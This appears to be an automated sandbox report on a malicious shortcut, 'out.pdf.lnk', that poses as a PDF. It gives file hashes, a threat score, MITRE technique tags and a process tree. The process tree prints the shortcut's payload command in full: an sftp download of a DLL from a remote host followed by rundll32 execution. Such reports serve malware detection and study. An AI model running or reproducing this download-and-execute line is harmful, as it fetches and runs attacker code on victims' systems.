a7ebacd3fa2e99434f8331fc19ec952fd0b846da1a2558e7f5029a1ce95bf7ed

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
10/10/2023, 20:36

Target

out.pdf.lnk
Size

2KB
MD5

f30bf10eeac3276b62c877dd5abd85ca
SHA1

ddf15ec98d378a11a5dd538f7508a02570b52ad3
SHA256

c4ab5d7bcedd94a27cef4c5f11d5fde3d4322c3215667fd31e0101733c2034ad
SHA512

58c82c3b8b009809bb68ea809a0b0da7fabda22a443e381a49964d889383114491604dea56d32aeb7ae62d68ac88477de6a00030526790693e6e66150c7810ee

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2288 wrote to memory of 2736	2288	cmd.exe	29
PID 2288 wrote to memory of 2736	2288	cmd.exe	29
PID 2288 wrote to memory of 2736	2288	cmd.exe	29
PID 2736 wrote to memory of 2756	2736	cmd.exe	30
PID 2736 wrote to memory of 2756	2736	cmd.exe	30
PID 2736 wrote to memory of 2756	2736	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\out.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C sftp -o StrictHostKeyChecking=no [email protected]:lol4.dll C:\Users\Public\lol4.dll & rundll32 C:\Users\Public\lol4.dll, #1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\System32\rundll32.exe
    rundll32 C:\Users\Public\lol4.dll, #1
    3⤵
    PID:2756

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact